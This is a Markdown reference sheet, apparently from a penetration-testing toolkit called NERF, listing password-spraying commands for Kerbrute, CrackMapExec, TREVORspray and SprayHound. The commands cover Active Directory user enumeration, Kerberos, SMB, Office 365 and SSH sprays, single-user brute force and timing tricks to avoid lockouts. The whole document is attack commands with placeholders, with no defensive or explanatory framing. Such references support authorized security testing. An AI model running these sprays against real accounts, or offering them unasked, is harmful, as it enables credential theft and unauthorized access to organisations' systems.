<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Performing Password Spraying

## Kerbrute
```bash
# User enumeration (no lockout risk)
kerbrute userenum --dc DC_IP -d DOMAIN users.txt

# Password spray
kerbrute passwordspray --dc DC_IP -d DOMAIN users.txt 'Password'

# Brute force single user
kerbrute bruteuser --dc DC_IP -d DOMAIN passwords.txt username
```

## CrackMapExec
```bash
# SMB spray
crackmapexec smb TARGET -u users.txt -p 'Password' --continue-on-success

# Check lockout policy
crackmapexec smb DC_IP -u USER -p PASS --pass-pol

# Local auth spray
crackmapexec smb RANGE -u users.txt -p 'Password' --local-auth
```

## TREVORspray
```bash
# O365 spray
trevorspray -u users.txt -p 'Password' --url https://login.microsoftonline.com

# Multiple passwords with delay
trevorspray -u users.txt -p passwords.txt --delay 1800 --jitter 30

# SSH spray
trevorspray -u users.txt -p 'Password' --ssh TARGET
```

## SprayHound
```bash
# Lockout-aware spray
sprayhound -U users.txt -p 'Password' -d DOMAIN -dc DC_IP --safe

# With Neo4j (BloodHound DB)
sprayhound -U users.txt -p 'Password' -d DOMAIN -dc DC_IP --neo4j
```
